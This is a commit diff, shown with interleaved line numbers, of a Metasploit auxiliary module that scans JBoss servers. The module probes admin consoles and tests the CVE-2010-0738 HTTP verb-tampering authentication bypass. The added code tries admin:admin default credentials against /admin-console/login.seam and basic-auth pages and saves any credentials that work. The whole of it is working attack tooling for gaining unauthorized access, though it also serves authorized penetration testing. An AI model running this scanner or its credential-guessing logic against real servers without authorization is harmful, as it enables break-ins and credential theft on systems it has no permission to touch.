7
7
require 'msf/core'
8
8
9
9
class Metasploit3 < Msf ::Auxiliary
10
-
11
10
include Msf ::Exploit ::Remote ::HttpClient
12
11
include Msf ::Auxiliary ::Scanner
13
12
include Msf ::Auxiliary ::Report
14
13
15
14
def initialize ( info = { } )
16
15
super ( update_info ( info ,
17
16
'Name' => 'JBoss Vulnerability Scanner' ,
18
- 'Description' => %q{
17
+ 'Description' => %q(
19
18
This module scans a JBoss instance for a few vulnerablities.
20
- } ,
21
- 'Author' => [ 'Tyler Krpata' ] ,
19
+ ) ,
20
+ 'Author' =>
21
+ [
22
+ 'Tyler Krpata' ,
23
+ 'Zach Grace <@ztgrace>'
24
+ ] ,
22
25
'References' =>
23
26
[
24
27
[ 'CVE' , '2010-0738' ] # VERB auth bypass
@@ -28,31 +31,29 @@ def initialize(info = {})
28
31
29
32
register_options (
30
33
[
31
- OptString . new ( 'VERB' , [ true , "Verb for auth bypass testing" , "HEAD" ] ) ,
34
+ OptString . new ( 'VERB' , [ true , "Verb for auth bypass testing" , "HEAD" ] )
32
35
] , self . class )
33
36
end
34
37
35
-
36
38
def run_host ( ip )
37
-
38
39
res = send_request_cgi (
39
40
{
40
- 'uri' => "/" + Rex ::Text . rand_text_alpha ( 12 ) ,
41
+ 'uri' => "/" + Rex ::Text . rand_text_alpha ( 12 ) ,
41
42
'method' => 'GET' ,
42
- 'ctype' => 'text/plain' ,
43
-
44
- } , 20 )
43
+ 'ctype' => 'text/plain'
44
+ } )
45
45
46
46
if res
47
47
48
- info = http_fingerprint ( { :response => res } )
48
+ info = http_fingerprint ( :response => res )
49
49
print_status ( info )
50
50
51
- if ( res . body and />(JBoss[^<]+)/ . match ( res . body ) )
51
+ if res . body && />(JBoss[^<]+)/ . match ( res . body )
52
52
print_error ( "#{ rhost } :#{ rport } JBoss error message: #{ $1} " )
53
53
end
54
54
55
- apps = [ '/jmx-console/HtmlAdaptor' ,
55
+ apps = [
56
+ '/jmx-console/HtmlAdaptor' ,
56
57
'/status' ,
57
58
'/web-console/ServerInfo.jsp' ,
58
59
# apps added per Patrick Hof
@@ -65,29 +66,30 @@ def run_host(ip)
65
66
check_app ( app )
66
67
end
67
68
69
+ jboss_as_default_creds
70
+
68
71
ports = {
69
72
# 1098i, 1099, and 4444 needed to use twiddle
70
73
1098 => 'Naming Service' ,
71
74
1099 => 'Naming Service' ,
72
75
4444 => 'RMI invoker'
73
76
}
74
77
print_status ( "#{ rhost } :#{ rport } Checking services..." )
75
- ports . each do |port , service |
76
- status = test_connection ( ip , port ) == :up ? "open" : "closed" ;
78
+ ports . each do |port , service |
79
+ status = test_connection ( ip , port ) == :up ? "open" : "closed"
77
80
print_status ( "#{ rhost } :#{ rport } #{ service } tcp/#{ port } : #{ status } " )
78
81
end
79
82
end
80
83
end
81
84
82
85
def check_app ( app )
83
-
84
86
res = send_request_cgi ( {
85
87
'uri' => app ,
86
88
'method' => 'GET' ,
87
- 'ctype' => 'text/plain' ,
88
- } , 20 )
89
+ 'ctype' => 'text/plain'
90
+ } )
89
91
90
- if ( res )
92
+ if res
91
93
case
92
94
when res . code == 200
93
95
print_good ( "#{ rhost } :#{ rport } #{ app } does not require authentication (200)" )
@@ -96,6 +98,7 @@ def check_app(app)
96
98
when res . code == 401
97
99
print_status ( "#{ rhost } :#{ rport } #{ app } requires authentication (401): #{ res . headers [ 'WWW-Authenticate' ] } " )
98
100
bypass_auth ( app )
101
+ basic_auth_default_creds ( app )
99
102
when res . code == 404
100
103
print_status ( "#{ rhost } :#{ rport } #{ app } not found (404)" )
101
104
when res . code == 301 , res . code == 302
@@ -108,48 +111,125 @@ def check_app(app)
108
111
end
109
112
end
110
113
111
- def bypass_auth ( app )
114
+ def jboss_as_default_creds
115
+ print_status ( "#{ rhost } :#{ rport } Checking for JBoss AS default creds" )
116
+
117
+ session = jboss_as_session_setup ( rhost , rport )
118
+ return false if session . nil?
119
+
120
+ # Default AS creds
121
+ username = 'admin'
122
+ password = 'admin'
123
+
124
+ res = send_request_raw ( {
125
+ 'uri' => '/admin-console/login.seam' ,
126
+ 'method' => 'POST' ,
127
+ 'version' => '1.1' ,
128
+ 'vhost' => "#{ rhost } " ,
129
+ 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' ,
130
+ 'Cookie' => "JSESSIONID=#{ session [ 'jsessionid' ] } "
131
+ } ,
132
+ 'data' => "login_form=login_form&login_form%3Aname=#{ username } &login_form%3Apassword=#{ password } &login_form%3Asubmit=Login&javax.faces.ViewState=#{ session [ "viewstate" ] } "
133
+ } )
134
+
135
+ # Valid creds if 302 redirected to summary.seam and not error.seam
136
+ if res && res . code == 302 && res . headers . to_s !~ /error.seam/m && res . headers . to_s =~ /summary.seam/m
137
+ print_good ( "#{ rhost } :#{ rport } Authenticated using #{ username } :#{ password } at /admin-console/" )
138
+ add_creds ( username , password )
139
+ else
140
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
141
+ end
142
+ end
112
143
144
+ def add_creds ( username , password )
145
+ service_data = {
146
+ address : rhost ,
147
+ port : rport ,
148
+ service_name : 'jboss' ,
149
+ protocol : 'tcp' ,
150
+ workspace_id : framework . db . workspace . id
151
+ }
152
+
153
+ credential_data = {
154
+ module_fullname : self . fullname ,
155
+ origin_type : :service ,
156
+ private_data : password ,
157
+ private_type : :password ,
158
+ username : username
159
+ } . merge ( service_data )
160
+
161
+ credential_core = create_credential ( credential_data )
162
+ credential_data [ :core ] = credential_core
163
+ create_credential_login ( credential_data )
164
+ end
165
+
166
+ def jboss_as_session_setup ( rhost , rport )
167
+ res = send_request_raw ( {
168
+ 'uri' => '/admin-console/login.seam' ,
169
+ 'method' => 'GET' ,
170
+ 'version' => '1.1' ,
171
+ 'vhost' => "#{ rhost } "
172
+ } )
173
+
174
+ unless res
175
+ return nil
176
+ end
177
+
178
+ begin
179
+ viewstate = /javax.faces.ViewState" value="(.*)" auto/ . match ( res . body ) . captures [ 0 ]
180
+ jsessionid = /JSESSIONID=(.*);/ . match ( res . headers . to_s ) . captures [ 0 ]
181
+ rescue ::NoMethodError
182
+ print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
183
+ return nil
184
+ end
185
+
186
+ { 'jsessionid' => jsessionid , 'viewstate' => viewstate }
187
+ end
188
+
189
+ def bypass_auth ( app )
113
190
print_status ( "#{ rhost } :#{ rport } Check for verb tampering (HEAD)" )
114
191
115
192
res = send_request_raw ( {
116
193
'uri' => app ,
117
194
'method' => datastore [ 'VERB' ] ,
118
195
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason
119
- } , 20 )
120
- if ( res and res . code == 200 )
196
+ } )
197
+
198
+ if res && res . code == 200
121
199
print_good ( "#{ rhost } :#{ rport } Got authentication bypass via HTTP verb tampering" )
122
200
else
123
201
print_status ( "#{ rhost } :#{ rport } Could not get authentication bypass via HTTP verb tampering" )
124
202
end
203
+ end
125
204
205
+ def basic_auth_default_creds ( app )
126
206
res = send_request_cgi ( {
127
207
'uri' => app ,
128
208
'method' => 'GET' ,
129
209
'ctype' => 'text/plain' ,
130
- 'authorization' => basic_auth ( 'admin' , 'admin' )
131
- } , 20 )
132
- if ( res and res . code == 200 )
133
- print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin" )
210
+ 'authorization' => basic_auth ( 'admin' , 'admin' )
211
+ } )
212
+
213
+ if res && res . code == 200
214
+ print_good ( "#{ rhost } :#{ rport } Authenticated using admin:admin at #{ app } " )
215
+ add_creds ( "admin" , "admin" )
134
216
else
135
217
print_status ( "#{ rhost } :#{ rport } Could not guess admin credentials" )
136
218
end
137
-
138
219
end
139
220
140
221
# function stole'd from mssql_ping
141
- def test_connection ( ip , port )
222
+ def test_connection ( ip , port )
142
223
begin
143
224
sock = Rex ::Socket ::Tcp . create (
144
225
'PeerHost' => ip ,
145
226
'PeerPort' => port ,
146
227
'Timeout' => 20
147
- )
228
+ )
148
229
rescue Rex ::ConnectionError
149
230
return :down
150
231
end
151
232
sock . close
152
233
return :up
153
234
end
154
-
155
235
end
0 commit comments